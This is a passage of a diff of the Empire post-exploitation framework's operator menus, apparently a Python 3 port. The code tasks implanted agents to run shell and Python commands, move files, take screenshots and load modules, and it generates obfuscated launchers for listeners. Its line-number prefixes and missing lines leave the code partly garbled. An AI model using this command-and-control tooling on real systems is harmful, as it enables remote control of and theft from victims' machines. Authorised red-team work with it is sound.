29913032 self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID)
29923033 self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID)
2993
3034
29943035 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter))
2995
3036
29963037 # dispatch this event
29973038 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
29983039 signal = json.dumps({
30003041 'message': message
30013042 })
30023043 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3003
3044
30043045 # update the agent log
30053046 msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
30063047 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3007
3008
3048
3049
30093050 def do_lostlimit(self, line):
30103051 "Task an agent to display change the limit on lost agent detection"
3011
3052
30123053 parts = line.strip().split(' ')
30133054 lostLimit = parts[0]
3014
3055
30153056 if lostLimit == "":
30163057 # task the agent to display the lostLimit
30173058 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)")
3018
3059
30193060 # dispatch this event
30203061 message = "[*] Tasked agent to display lost limit"
30213062 signal = json.dumps({
30233064 'message': message
30243065 })
30253066 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3026
3067
30273068 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display lost limit")
30283069 else:
30293070 # update this agent's information in the database
30303071 self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)
3031
3072
30323073 # task the agent with the new lostLimit
30333074 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit))
3034
3075
30353076 # dispatch this event
30363077 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
30373078 signal = json.dumps({
30393080 'message': message
30403081 })
30413082 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3042
3083
30433084 # update the agent log
30443085 msg = "Tasked agent to change lost limit " + str(lostLimit)
30453086 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3046
3047
3087
3088
30483089 def do_killdate(self, line):
30493090 "Get or set an agent's killdate (01/01/2016)."
3050
3091
30513092 parts = line.strip().split(' ')
30523093 killDate = parts[0]
3053
3094
30543095 if killDate == "":
3055
3096
30563097 # task the agent to display the killdate
30573098 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)")
3058
3099
30593100 # dispatch this event
30603101 message = "[*] Tasked agent to display killDate"
30613102 signal = json.dumps({
30633104 'message': message
30643105 })
30653106 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3066
3107
30673108 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display killDate")
30683109 else:
30693110 # update this agent's information in the database
30703111 self.mainMenu.agents.set_agent_field_db("kill_date", killDate, self.sessionID)
3071
3112
30723113 # task the agent with the new killDate
30733114 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate))
3074
3115
30753116 # dispatch this event
30763117 message = "[*] Tasked agent to set killDate to {}".format(killDate)
30773118 signal = json.dumps({
30793120 'message': message
30803121 })
30813122 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3082
3123
30833124 # update the agent log
30843125 msg = "Tasked agent to set killdate to %s" %(killDate)
30853126 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3086
3087
3127
3128
30883129 def do_workinghours(self, line):
30893130 "Get or set an agent's working hours (9:00-17:00)."
3090
3131
30913132 parts = line.strip().split(' ')
30923133 hours = parts[0]
3093
3134
30943135 if hours == "":
30953136 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)")
3096
3137
30973138 # dispatch this event
30983139 message = "[*] Tasked agent to get working hours"
30993140 signal = json.dumps({
31013142 'message': message
31023143 })
31033144 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3104
3145
31053146 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
3106
3147
31073148 else:
31083149 # update this agent's information in the database
31093150 self.mainMenu.agents.set_agent_field_db("working_hours", hours, self.sessionID)
3110
3151
31113152 # task the agent with the new working hours
31123153 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours))
3113
3154
31143155 # dispatch this event
31153156 message = "[*] Tasked agent to set working hours to {}".format(hours)
31163157 signal = json.dumps({
31183159 'message': message
31193160 })
31203161 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3121
3162
31223163 # update the agent log
31233164 msg = "Tasked agent to set working hours to: %s" % (hours)
31243165 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3125
3126
3166
3167
31273168 def do_shell(self, line):
31283169 "Task an agent to use a shell command."
3129
3170
31303171 line = line.strip()
3131
3172
31323173 if line != "":
31333174 # task the agent with this shell command
31343175 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", str(line))
3135
3176
31363177 # dispatch this event
31373178 message = "[*] Tasked agent to run shell command: {}".format(line)
31383179 signal = json.dumps({
31413182 'command': line
31423183 })
31433184 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3144
3185
31453186 # update the agent log
31463187 msg = "Tasked agent to run shell command: %s" % (line)
31473188 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3148
3189
31493190 def do_python(self, line):
31503191 "Task an agent to run a Python command."
3151
3192
31523193 line = line.strip()
3153
3194
31543195 if line != "":
31553196 # task the agent with this shell command
31563197 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(line))
3157
3198
31583199 # dispatch this event
31593200 message = "[*] Tasked agent to run Python command: {}".format(line)
31603201 signal = json.dumps({
31633204 'command': line
31643205 })
31653206 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3166
3207
31673208 # update the agent log
31683209 msg = "Tasked agent to run Python command: %s" % (line)
31693210 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3170
3211
31713212 def do_pythonscript(self, line):
31723213 "Load and execute a python script"
31733214 path = line.strip()
3174
3215
31753216 if os.path.splitext(path)[-1] == '.py' and os.path.isfile(path):
31763217 filename = os.path.basename(path).rstrip('.py')
31773218 open_file = open(path, 'r')
31813222 script = script.replace('\r', '\n')
31823223 encScript = base64.b64encode(script)
31833224 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", encScript)
3184
3225
31853226 # dispatch this event
31863227 message = "[*] Tasked agent to execute Python script: {}".format(filename)
31873228 signal = json.dumps({
31923233 'script_md5': hashlib.md5(script).hexdigest()
31933234 })
31943235 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3195
3236
31963237 #update the agent log
31973238 msg = "[*] Tasked agent to execute python script: "+filename
31983239 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
31993240 else:
3200 print helpers.color("[!] Please provide a valid path", color="red")
3201
3202
3241 print(helpers.color("[!] Please provide a valid path", color="red"))
3242
3243
32033244 def do_sysinfo(self, line):
32043245 "Task an agent to get system information."
3205
3246
32063247 # task the agent with this shell command
32073248 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO")
3208
3249
32093250 # dispatch this event
32103251 message = "[*] Tasked agent to get system information"
32113252 signal = json.dumps({
32133254 'message': message
32143255 })
32153256 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3216
3257
32173258 # update the agent log
32183259 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
3219
3220
3260
3261
32213262 def do_download(self, line):
32223263 "Task an agent to download a file."
3223
3264
32243265 line = line.strip()
3225
3266
32263267 if line != "":
32273268 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line)
3228
3269
32293270 # dispatch this event
32303271 message = "[*] Tasked agent to download: {}".format(line)
32313272 signal = json.dumps({
32343275 'download_filename': line
32353276 })
32363277 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3237
3278
32383279 # update the agent log
32393280 msg = "Tasked agent to download: %s" % (line)
32403281 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3241
3242
3282
3283
32433284 def do_upload(self, line):
32443285 "Task an agent to upload a file."
3245
3286
32463287 # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
32473288 # absolute paths accepted
32483289 parts = line.strip().split(' ')
32493290 uploadname = ""
3250
3291
32513292 if len(parts) > 0 and parts[0] != "":
32523293 if len(parts) == 1:
32533294 # if we're uploading the file with its original name
32553296 else:
32563297 # if we're uploading the file as a different name
32573298 uploadname = parts[1].strip()
3258
3299
32593300 if parts[0] != "" and os.path.exists(parts[0]):
32603301 # TODO: reimplement Python file upload
3261
3302
32623303 # # read in the file and base64 encode it for transport
32633304 f = open(parts[0], 'r')
32643305 fileData = f.read()
32663307 # Get file size
32673308 size = os.path.getsize(parts[0])
32683309 if size > 1048576:
3269 print helpers.color("[!] File size is too large. Upload limit is 1MB.")
3310 print(helpers.color("[!] File size is too large. Upload limit is 1MB."))
32703311 else:
3271 print helpers.color("[*] Original tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green")
3272
3312 print(helpers.color("[*] Original tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green"))
3313
32733314 original_md5 = hashlib.md5(fileData).hexdigest()
32743315 # update the agent log with the filename and MD5
32753316 msg = "Tasked agent to upload " + parts[0] + " : " + original_md5
32763317 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3277
3318
32783319 # compress data before we base64
32793320 c = compress.compress()
32803321 start_crc32 = c.crc32_data(fileData)
32843325 fileData = helpers.encode_base64(fileData)
32853326 # upload packets -> "filename | script data"
32863327 data = uploadname + "|" + fileData
3287
3328
32883329 # dispatch this event
32893330 message = "[*] Starting upload of {}, final size {}".format(uploadname, helpers.get_file_size(fileData))
32903331 signal = json.dumps({
32953336 'upload_size': helpers.get_file_size(fileData)
32963337 })
32973338 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3298
3339
32993340 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data)
33003341 else:
3301 print helpers.color("[!] Please enter a valid file path to upload")
3302
3303
3342 print(helpers.color("[!] Please enter a valid file path to upload"))
3343
3344
33043345 def do_usemodule(self, line):
33053346 "Use an Empire Python module."
3306
3347
33073348 # Strip asterisks added by MainMenu.complete_usemodule()
33083349 module = "python/%s" %(line.strip().rstrip("*"))
3309
3310
3350
3351
33113352 if module not in self.mainMenu.modules.modules:
3312 print helpers.color("[!] Error: invalid module")
3353 print(helpers.color("[!] Error: invalid module"))
33133354 else:
33143355 module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
33153356 module_menu.cmdloop()
3316
3317
3357
3358
33183359 def do_searchmodule(self, line):
33193360 "Search Empire module names/descriptions."
3320
3361
33213362 searchTerm = line.strip()
3322
3363
33233364 if searchTerm.strip() == "":
3324 print helpers.color("[!] Please enter a search term.")
3365 print(helpers.color("[!] Please enter a search term."))
33253366 else:
33263367 self.mainMenu.modules.search_modules(searchTerm)
3327
3368
33283369 def do_osx_screenshot(self, line):
33293370 "Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"
3330
3371
33313372 if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
33323373 module = self.mainMenu.modules.modules['python/collection/osx/native_screenshot']
33333374 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
33343375 #execute screenshot module
33353376 msg = "[*] Tasked agent to take a screenshot"
33363377 module_menu = ModuleMenu(self.mainMenu, 'python/collection/osx/native_screenshot')
3337 print helpers.color(msg, color="green")
3378 print(helpers.color(msg, color="green"))
33383379 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3339
3380
33403381 # dispatch this event
33413382 message = "[*] Tasked agent to take a screenshot"
33423383 signal = json.dumps({
33443385 'message': message
33453386 })
33463387 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3347
3388
33483389 module_menu.do_execute("")
33493390 else:
3350 print helpers.color("[!] python/collection/osx/screenshot module not loaded")
3351
3391 print(helpers.color("[!] python/collection/osx/screenshot module not loaded"))
3392
33523393 def do_cat(self, line):
33533394 "View the contents of a file"
3354
3395
33553396 if line != "":
3356
3397
33573398 cmd = """
33583399 try:
33593400 output = ""
33673408 """ % (line)
33683409 # task the agent with this shell command
33693410 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(cmd))
3370
3411
33713412 # dispatch this event
33723413 message = "[*] Tasked agent to cat file: {}".format(line)
33733414 signal = json.dumps({
33763417 'file_name': line
33773418 })
33783419 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3379
3420
33803421 # update the agent log
33813422 msg = "Tasked agent to cat file %s" % (line)
33823423 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3383
3424
33843425 def do_loadpymodule(self, line):
33853426 "Import zip file containing a .py module or package with an __init__.py"
3386
3427
33873428 path = line.strip()
33883429 #check the file ext and confirm that the path given is a file
33893430 if os.path.splitext(path)[-1] == '.zip' and os.path.isfile(path):
33923433 open_file = open(path, 'rb')
33933434 module_data = open_file.read()
33943435 open_file.close()
3395
3436
33963437 # dispatch this event
33973438 message = "[*] Tasked agent to import {}, md5: {}".format(path, hashlib.md5(module_data).hexdigest())
33983439 signal = json.dumps({
34023443 'import_md5': hashlib.md5(module_data).hexdigest()
34033444 })
34043445 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3405
3446
34063447 msg = "Tasked agent to import "+path+" : "+hashlib.md5(module_data).hexdigest()
34073448 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3408
3449
34093450 c = compress.compress()
34103451 start_crc32 = c.crc32_data(module_data)
34113452 comp_data = c.comp_data(module_data, 9)
34143455 data = filename + '|' + module_data
34153456 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_IMPORT_MODULE", data)
34163457 else:
3417 print helpers.color("[!] Please provide a valid zipfile path", color="red")
3418
3419
3458 print(helpers.color("[!] Please provide a valid zipfile path", color="red"))
3459
3460
34203461 def do_viewrepo(self, line):
34213462 "View the contents of a repo. if none is specified, all files will be returned"
34223463 repoName = line.strip()
3423
3464
34243465 # dispatch this event
34253466 message = "[*] Tasked agent to view repo contents: {}".format(repoName)
34263467 signal = json.dumps({
34293470 'repo_name': repoName
34303471 })
34313472 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3432
3473
34333474 # update the agent log
34343475 msg = "[*] Tasked agent to view repo contents: " + repoName
34353476 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3436
3477
34373478 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_VIEW_MODULE", repoName)
3438
3479
34393480 def do_removerepo(self, line):
34403481 "Remove a repo"
34413482 repoName = line.strip()
3442
3483
34433484 # dispatch this event
34443485 message = "[*] Tasked agent to remove repo: {}".format(repoName)
34453486 signal = json.dumps({
34483489 'repo_name': repoName
34493490 })
34503491 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3451
3492
34523493 msg = "[*] Tasked agent to remove repo: "+repoName
3453 print helpers.color(msg, color="green")
3494 print(helpers.color(msg, color="green"))
34543495 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
34553496 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_REMOVE_MODULE", repoName)
3456
3497
34573498 def do_creds(self, line):
34583499 "Display/return credentials from the database."
34593500 self.mainMenu.do_creds(line)
3460
3501
34613502 def complete_loadpymodule(self, text, line, begidx, endidx):
34623503 "Tab-complete a zip file path"
34633504 return helpers.complete_path(text, line)
3464
3505
34653506 def complete_pythonscript(self, text, line, begidx, endidx):
34663507 "Tab-complete a zip file path"
34673508 return helpers.complete_path(text, line)
3468
3509
34693510 def complete_usemodule(self, text, line, begidx, endidx):
34703511 "Tab-complete an Empire Python module path"
34713512 return self.mainMenu.complete_usemodule(text, line, begidx, endidx, language='python')
3472
3473
3513
3514
34743515 def complete_upload(self, text, line, begidx, endidx):
34753516 "Tab-complete an upload file path"
34763517 return helpers.complete_path(text, line)
34773518
3478 # def complete_updateprofile(self, text, line, begidx, endidx):
3479 # "Tab-complete an updateprofile path"
3480 # return helpers.complete_path(text,line)
3519 # def complete_updateprofile(self, text, line, begidx, endidx):
3520 # "Tab-complete an updateprofile path"
3521 # return helpers.complete_path(text,line)
34813522
34823523
34833524 class ListenersMenu(SubMenu):
34863527 """
34873528 def __init__(self, mainMenu):
34883529 SubMenu.__init__(self, mainMenu)
3489
3530
34903531 self.doc_header = 'Listener Commands'
3491
3532
34923533 # set the prompt text
34933534 self.prompt = '(Empire: ' + helpers.color('listeners', color='blue') + ') > '
3494
3535
34953536 # display all active listeners on menu startup
34963537 messages.display_listeners(self.mainMenu.listeners.activeListeners)
34973538 messages.display_listeners(self.mainMenu.listeners.get_inactive_listeners(), "Inactive")
3498
3539
34993540 def do_back(self, line):
35003541 "Go back to the main menu."
35013542 raise NavMain()
3502
3543
35033544 def do_list(self, line):
35043545 "List all active listeners (or agents)."
3505
3546
35063547 if line.lower().startswith('agents'):
35073548 self.mainMenu.do_list('agents ' + str(' '.join(line.split(' ')[1:])))
35083549 elif line.lower().startswith("listeners"):
35093550 self.mainMenu.do_list('listeners ' + str(' '.join(line.split(' ')[1:])))
35103551 else:
35113552 self.mainMenu.do_list('listeners ' + str(line))
3512
3513
3553
3554
35143555 def do_kill(self, line):
35153556 "Kill one or all active listeners."
3516
3557
35173558 listenerID = line.strip()
3518
3559
35193560 if listenerID.lower() == 'all':
35203561 try:
3521 choice = raw_input(helpers.color('[>] Kill all listeners? [y/N] ', 'red'))
3562 choice = input(helpers.color('[>] Kill all listeners? [y/N] ', 'red'))
35223563 if choice.lower() != '' and choice.lower()[0] == 'y':
35233564 self.mainMenu.listeners.kill_listener('all')
35243565 except KeyboardInterrupt:
3525 print ''
3526
3566 print('')
3567
35273568 else:
35283569 self.mainMenu.listeners.kill_listener(listenerID)
3529
3570
35303571 def do_delete(self, line):
35313572 "Delete listener(s) from the database"
3532
3573
35333574 listener_id = line.strip()
3534
3575
35353576 if listener_id.lower() == "all":
35363577 try:
3537 choice = raw_input(helpers.color("[>] Delete all listeners? [y/N] ", "red"))
3578 choice = input(helpers.color("[>] Delete all listeners? [y/N] ", "red"))
35383579 if choice.lower() != '' and choice.lower()[0] == 'y':
35393580 self.mainMenu.listeners.delete_listener("all")
35403581 except KeyboardInterrupt:
3541 print ''
3542
3582 print('')
3583
35433584 else:
35443585 self.mainMenu.listeners.delete_listener(listener_id)
3545
3586
35463587 def do_usestager(self, line):
35473588 "Use an Empire stager."
3548
3589
35493590 parts = line.split(' ')
3550
3591
35513592 if parts[0] not in self.mainMenu.stagers.stagers:
3552 print helpers.color("[!] Error: invalid stager module")
3553
3593 print(helpers.color("[!] Error: invalid stager module"))
3594
35543595 elif len(parts) == 1:
35553596 stager_menu = StagerMenu(self.mainMenu, parts[0])
35563597 stager_menu.cmdloop()
35573598 elif len(parts) == 2:
35583599 listener = parts[1]
35593600 if not self.mainMenu.listeners.is_listener_valid(listener):
3560 print helpers.color("[!] Please enter a valid listener name or ID")
3601 print(helpers.color("[!] Please enter a valid listener name or ID"))
35613602 else:
35623603 self.mainMenu.stagers.set_stager_option('Listener', listener)
35633604 stager_menu = StagerMenu(self.mainMenu, parts[0])
35643605 stager_menu.cmdloop()
35653606 else:
3566 print helpers.color("[!] Error in ListenerMenu's do_userstager()")
3567
3568
3607 print(helpers.color("[!] Error in ListenerMenu's do_userstager()"))
3608
3609
35693610 def do_uselistener(self, line):
35703611 "Use an Empire listener module."
3571
3612
35723613 parts = line.split(' ')
3573
3614
35743615 if parts[0] not in self.mainMenu.listeners.loadedListeners:
3575 print helpers.color("[!] Error: invalid listener module")
3616 print(helpers.color("[!] Error: invalid listener module"))
35763617 else:
35773618 listenerMenu = ListenerMenu(self.mainMenu, parts[0])
35783619 listenerMenu.cmdloop()
3579
3580
3620
3621
35813622 def do_info(self, line):
35823623 "Display information for the given active listener."
3583
3624
35843625 listenerName = line.strip()
3585
3626
35863627 if listenerName not in self.mainMenu.listeners.activeListeners:
3587 print helpers.color("[!] Invalid listener name")
3628 print(helpers.color("[!] Invalid listener name"))
35883629 else:
35893630 messages.display_active_listener(self.mainMenu.listeners.activeListeners[listenerName])
3590
3591
3631
3632
35923633 def do_launcher(self, line):
35933634 "Generate an initial launcher for a listener."
3594
3635
35953636 parts = line.strip().split()
35963637 if len(parts) != 2:
3597 print helpers.color("[!] Please enter 'launcher <language> <listenerName>'")
3638 print(helpers.color("[!] Please enter 'launcher <language> <listenerName>'"))
35983639 return
35993640 else:
36003641 language = parts[0].lower()
36013642 listenerName = self.mainMenu.listeners.get_listener_name(parts[1])
3602
3643
36033644 if listenerName:
36043645 try:
36053646 # set the listener value for the launcher
36173658 stager.options['Obfuscate']['Value'] = "True"
36183659 else:
36193660 stager.options['Obfuscate']['Value'] = "False"
3620
3661
36213662 # dispatch this event
36223663 message = "[*] Generated launcher"
36233664 signal = json.dumps({
36263667 'options': stager.options
36273668 })
36283669 dispatcher.send(signal, sender="empire")
3629
3630 print stager.generate()
3670
3671 print(stager.generate())
36313672 except Exception as e:
3632 print helpers.color("[!] Error generating launcher: %s" % (e))
3633
3634 else:
3635 print helpers.color("[!] Please enter a valid listenerName")
3636
3673 print(helpers.color("[!] Error generating launcher: %s" % (e)))
3674
3675 else:
3676 print(helpers.color("[!] Please enter a valid listenerName"))
3677
36373678 def do_enable(self, line):
3638 "Enables and starts one or all listners."
3639
3679 "Enables and starts one or all listeners."
3680
36403681 listenerID = line.strip()
3641
3682
36423683 if listenerID == '':
3643 print helpers.color("[!] Please provide a listener name")
3684 print(helpers.color("[!] Please provide a listener name"))
36443685 elif listenerID.lower() == 'all':
36453686 try:
3646 choice = raw_input(helpers.color('[>] Start all listeners? [y/N] ', 'red'))
3687 choice = input(helpers.color('[>] Start all listeners? [y/N] ', 'red'))
36473688 if choice.lower() != '' and choice.lower()[0] == 'y':
36483689 self.mainMenu.listeners.enable_listener('all')
36493690 except KeyboardInterrupt:
3650 print ''
3651
3691 print('')
3692
36523693 else:
36533694 self.mainMenu.listeners.enable_listener(listenerID)
3654
3695
36553696 def do_disable(self, line):
36563697 "Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire"
3657
3698
36583699 listenerID = line.strip()
3659
3700
36603701 if listenerID.lower() == 'all':
36613702 try:
3662 choice = raw_input(helpers.color('[>] Stop all listeners? [y/N] ', 'red'))
3703 choice = input(helpers.color('[>] Stop all listeners? [y/N] ', 'red'))
36633704 if choice.lower() != '' and choice.lower()[0] == 'y':
36643705 self.mainMenu.listeners.shutdown_listener('all')
36653706 except KeyboardInterrupt:
3666 print ''
3667
3707 print('')
3708
36683709 else:
36693710 self.mainMenu.listeners.disable_listener(listenerID)
3670
3711
36713712 def do_edit(self,line):
36723713 "Change a listener option, will not take effect until the listener is restarted"
3673
3714
36743715 arguments = line.strip().split(" ")
36753716 if len(arguments) < 2:
3676 print helpers.color("[!] edit <listener name> <option name> <option value> (leave value blank to unset)")
3717 print(helpers.color("[!] edit <listener name> <option name> <option value> (leave value blank to unset)"))
36773718 return
36783719 if len(arguments) == 2:
36793720 arguments.append("")
3680 self.mainMenu.listeners.update_listener_options(arguments[0], arguments[1], arguments[2])
3681 if arguments[0] in self.mainMenu.listeners.activeListeners.keys():
3682 print helpers.color("[*] This change will not take effect until the listener is restarted")
3683
3721 self.mainMenu.listeners.update_listener_options(arguments[0], arguments[1], ' '.join(arguments[2:]))
3722 if arguments[0] in list(self.mainMenu.listeners.activeListeners.keys()):
3723 print(helpers.color("[*] This change will not take effect until the listener is restarted"))
3724
36843725 def complete_usestager(self, text, line, begidx, endidx):
36853726 "Tab-complete an Empire stager module path."
36863727 return self.mainMenu.complete_usestager(text, line, begidx, endidx)
3687
3688
3728
3729
36893730 def complete_kill(self, text, line, begidx, endidx):
36903731 "Tab-complete listener names"
3691
3732
36923733 # get all the listener names
3693 names = self.mainMenu.listeners.activeListeners.keys() + ["all"]
3734 names = list(self.mainMenu.listeners.activeListeners.keys()) + ["all"]
36943735 mline = line.partition(' ')[2]
36953736 offs = len(mline) - len(text)
36963737 return [s[offs:] for s in names if s.startswith(mline)]
3697
3738
36983739 def complete_enable(self, text, line, begidx, endidx):
36993740 # tab complete for inactive listener names
3700
3741
37013742 inactive = self.mainMenu.listeners.get_inactive_listeners()
3702 names = inactive.keys()
3743 names = list(inactive.keys())
37033744 mline = line.partition(' ')[2]
37043745 offs = len(mline) - len(text)
37053746 return [s[offs:] for s in names if s.startswith(mline)]
3706
3747
37073748 def complete_disable(self, text, line, begidx, endidx):
37083749 # tab complete for listener names
37093750 # get all the listener names
3710 names = self.mainMenu.listeners.activeListeners.keys() + ["all"]
3751 names = list(self.mainMenu.listeners.activeListeners.keys()) + ["all"]
37113752 mline = line.partition(' ')[2]
37123753 offs = len(mline) - len(text)
37133754 return [s[offs:] for s in names if s.startswith(mline)]
3714
3755
37153756 def complete_delete(self, text, line, begidx, endidx):
37163757 # tab complete for listener names
37173758 # get all the listener names
3718 names = self.mainMenu.listeners.activeListeners.keys() + ["all"]
3759 names = list(self.mainMenu.listeners.activeListeners.keys()) + ["all"]
37193760 mline = line.partition(' ')[2]
37203761 offs = len(mline) - len(text)
37213762 return [s[offs:] for s in names if s.startswith(mline)]
3722
3763
37233764 def complete_launcher(self, text, line, begidx, endidx):
37243765 "Tab-complete language types and listener names/IDs"
3725
3766
37263767 languages = ['powershell', 'python']
3727
3768
37283769 if line.split(' ')[1].lower() in languages:
37293770 # if we already have a language name, tab-complete listener names
37303771 listenerNames = self.mainMenu.listeners.get_listener_names()
37373778 mline = line.partition(' ')[2]
37383779 offs = len(mline) - len(text)
37393780 return [s[offs:] for s in languages if s.startswith(mline)]
3740
3741
3781
3782
37423783 def complete_info(self, text, line, begidx, endidx):
37433784 "Tab-complete listener names/IDs"
3744
3785
37453786 # get all the listener names
3746 names = self.mainMenu.listeners.activeListeners.keys()
3787 names = list(self.mainMenu.listeners.activeListeners.keys())
37473788 mline = line.partition(' ')[2]
37483789 offs = len(mline) - len(text)
37493790 return [s[offs:] for s in names if s.startswith(mline)]
3750
3751
3791
3792
37523793 def complete_uselistener(self, text, line, begidx, endidx):
37533794 "Tab-complete an uselistener command"
3754
3755 names = self.mainMenu.listeners.loadedListeners.keys()
3795
3796 names = list(self.mainMenu.listeners.loadedListeners.keys())
37563797 mline = line.partition(' ')[2]
37573798 offs = len(mline) - len(text)
37583799 return [s[offs:] for s in names if s.startswith(mline)]
37593800
37603801
37613802 class ListenerMenu(SubMenu):
3762
3803
37633804 def __init__(self, mainMenu, listenerName):
3764
3805
37653806 SubMenu.__init__(self, mainMenu)
3766
3807
37673808 if listenerName not in self.mainMenu.listeners.loadedListeners:
3768 print helpers.color("[!] Listener '%s' not currently valid!" % (listenerName))
3809 print(helpers.color("[!] Listener '%s' not currently valid!" % (listenerName)))
37693810 raise NavListeners()
3770
3811
37713812 self.doc_header = 'Listener Commands'
3772
3813
37733814 self.listener = self.mainMenu.listeners.loadedListeners[listenerName]
37743815 self.listenerName = listenerName
3775
3816
37763817 # set the text prompt
37773818 self.prompt = '(Empire: ' + helpers.color("listeners/%s" % (listenerName), 'red') + ') > '
3778
3819
37793820 def do_info(self, line):
37803821 "Display listener module options."
37813822 messages.display_listener_module(self.listener)
3782
3783
3823
3824
37843825 def do_execute(self, line):
37853826 "Execute the given listener module."
3786
3827
37873828 self.mainMenu.listeners.start_listener(self.listenerName, self.listener)
3788
3789
3829
3830
37903831 def do_launcher(self, line):
37913832 "Generate an initial launcher for this listener."
3792
3833
37933834 self.listenerName = self.listener.options['Name']['Value']
37943835 parts = line.strip().split()
3795
3836
37963837 if len(parts) != 1:
3797 print helpers.color("[!] Please enter 'launcher <language>'")
3838 print(helpers.color("[!] Please enter 'launcher <language>'"))
37983839 return
3799
3840
38003841 try:
38013842 # set the listener value for the launcher
38023843 listenerOptions = self.mainMenu.listeners.activeListeners[self.listenerName]
38093850 stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']
38103851 except:
38113852 pass
3812
3853
38133854 # dispatch this event
38143855 message = "[*] Generated launcher"
38153856 signal = json.dumps({
38183859 'options': stager.options
38193860 })
38203861 dispatcher.send(signal, sender="empire")
3821
3822 print stager.generate()
3862
3863 print(stager.generate())
38233864 except Exception as e:
3824 print helpers.color("[!] Error generating launcher: %s" % (e))
3825
3826
3865 print(helpers.color("[!] Error generating launcher: %s" % (e)))
3866
3867
38273868 def do_set(self, line):
38283869 "Set a listener option."
3829
3870
38303871 parts = line.split()
3831
3872
38323873 try:
38333874 option = parts[0]
38343875 if option not in self.listener.options:
3835 print helpers.color("[!] Invalid option specified.")
3836
3876 print(helpers.color("[!] Invalid option specified."))
3877
38373878 elif len(parts) == 1:
38383879 # "set OPTION"
38393880 # check if we're setting a switch
38403881 if self.listener.options[option]['Description'].startswith("Switch."):
38413882 self.listener.options[option]['Value'] = "True"
38423883 else:
3843 print helpers.color("[!] Please specify an option value.")
3884 print(helpers.color("[!] Please specify an option value."))
38443885 else:
38453886 # otherwise "set OPTION VALUE"
38463887 option = parts[0]
38473888 value = ' '.join(parts[1:])
3848
3889
38493890 if value == '""' or value == "''":
38503891 value = ""
3851
3892
